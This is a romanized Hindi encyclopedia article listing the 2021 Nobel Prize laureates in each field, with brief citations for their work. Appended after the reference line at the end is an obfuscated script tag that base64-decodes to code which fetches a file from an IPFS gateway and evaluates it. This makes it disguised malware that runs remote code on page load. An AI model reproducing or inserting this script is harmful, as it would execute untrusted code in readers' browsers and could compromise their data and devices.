नोबेल पुरस्कार, 2021
nobel puraskar 'nobel phauandeshan' dvara svidan ke vaijnanik alphred nobel ki yad mean har varsh pradan kiya jata hai. yah bhautiki, rasayan, chikitsa vijnan, arthashastr, shaanti aur sahity ke kshetr mean diya jane vala vishv ka sarvochch puraskar hai. is puraskar mean ek svarn padak aur 10 miliyan svidish kronor (1.14 miliyan d aaular) samman svaroop pradan kiya jata hai.
vijeta
varsh 2021 ke nobel puraskar ki ghoshana sarvapratham chikitsa kshetr se huee. nobel puraskar, 2021 ke vijetaoan ke nam nimn prakar haian[1]-
- chikitsa - devid jooliyas aur ardem patapautiyan.
- bhautik vijnan - syookuro manebe, klaus haisalamain aur jiyorjiyo perisi
- rasayan vijnan - beanjamin list aur devid dablyoo. si. maikamilan
- sahity - abdul razak guranah
- shaanti - mariya resa aur dimitri muratov
- arthashastr - devid kard, joshua aangrist aur guido imbens
chikitsa ka nobel
varsh 2021 ke chikitsa nobel puraskaroan ka ailan 4 aktoobar, 2021 ko kiya gaya. is bar ka yah puraskar amerika ke vaijnanik devid jooliyas (David Julius) aur ardem patapautiyan (Ardem Patapoutian) ko sanyukt roop se mila. yah puraskar unhean ooshma aur sparsh ke sanvedakoan ki khoj ke lie diya gaya hai. nobel praij ki ghoshana nobel kameti ke mahasachiv th aaumas parlamain (Thomas Perlmann) ne ki.
bhautiki ka nobel
varsh 2021 ke bhautik vijnan ke nobel puraskaroan ka ailan 5 aktoobar, 2021 ko kiya gaya. is bar yah puraskar syookuro manebe, klaus haisalamain aur jiyorjiyo perisi ko sanyukt roop se diya gaya.[1]
r aauyal svidish vijnan akadami ne is puraskar ka adha bhag sanyukt roop se priansatan vishvavidyalay amarika ke syookuro manebe (Syukuro Manabe) tatha maiks plaiank ianstityoot ph aaur metroloji haimabarg jarmani ke klaus haisalamain (Klaus Hasselmann) ko prithvi ke vatavaran, vatavaran mean parivartan ke mapan aur global varmiang ke poorvanuman ke bhautikiy m aaudal ke nirman ke lie diya. is puraskar ka doosara bhag sepieanja vishvavidyalay rom itali ke jiyorjiyo perisi (Giorgio Parisi) ko paramanu se lekar aantaragrahiy bhautiki pranaliyoan mean avyavastha aur vichalan ki paraspar kriya ki khoj ke lie diya gaya hai.
rasayan ka nobel
varsh 2021 ka rasayan vijnan (kemistri) ka nobel puraskar beanjamin list (Benjamin List) aur devid dablyoo.si. maikamilan David W.C. MacMillan ko sanyukt roop se diya gaya hai.
rasayan vijnan ke kshetr mean varsh 2021 ka nobel puraskar ‘asamamit aaurgenokaitalisis’ paddhati ka vikas karane ke liye in donoan ko diya gaya hai. 2021 rasayan vijnan puraskar vijeta beanjamin list aur devid dablyoo.si. maikamilan ne anu nirman ke lie ek naya aur saral upakaran vikasit kiya hai.
sahity ka nobel
2021 ke lie sahity ka nobel puraskar upanyasakar abdul rajak guranah ko “upaniveshavad ke prabhavoan aur sanskritiyoan aur mahadvipoan ke bich ki khaee mean sharanarthi ke bhagy ke lie unaki adig aur karunamay paith ke lie” se sammanit diya gaya hai.
guranah ka janm 1948 mean hua tha aur vah hind mahasagar mean zaanzibar dvip par pale-badhe, lekin 1960 ke dashak ke aant mean ek sharanarthi ke roop mean ianglaiand pahuanche. unake das upanyas aur kee laghu kathaean prakashit ho chuki haian.[1]
shaanti ka nobel
n aaurvejiyan nobel kameti ne 2021 ka nobel shaanti puraskar ‘mariya resa’ aur ‘dimitri muratov’ ko “abhivyakti ki svatantrata ki raksha ke unake prayasoan ke lie” dene ka phaisala kiya, jo lokatantr aur sthayi shaanti ke lie ek poorv shart hai.
mariya resa apane mool desh philipians mean satta ke durupayog, hiansa ke upayog aur badhate adhinayakavad ko ujagar karane ke lie abhivyakti ki svatantrata ka upayog karati hai. vahian dimitri muratov ne dashakoan se teji se chunautipoorn paristhitiyoan mean roos mean abhivyakti ki svatantrata ka bachav kiya hai.
arthashastr ka nobel
sal 2021 mean tin arthashastriyoan- devid kard, joshua aangrist aur guido imbens ko arthashastr ke lie nobel puraskar se sammanit kiya gaya.
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bahari k diyaan
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- ↑ 1.0 1.1 1.2 nobel puraskar, 2021 vijetaoan ki soochi (hiandi) hindisarang.com. abhigaman tithi: 09 aktoobar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>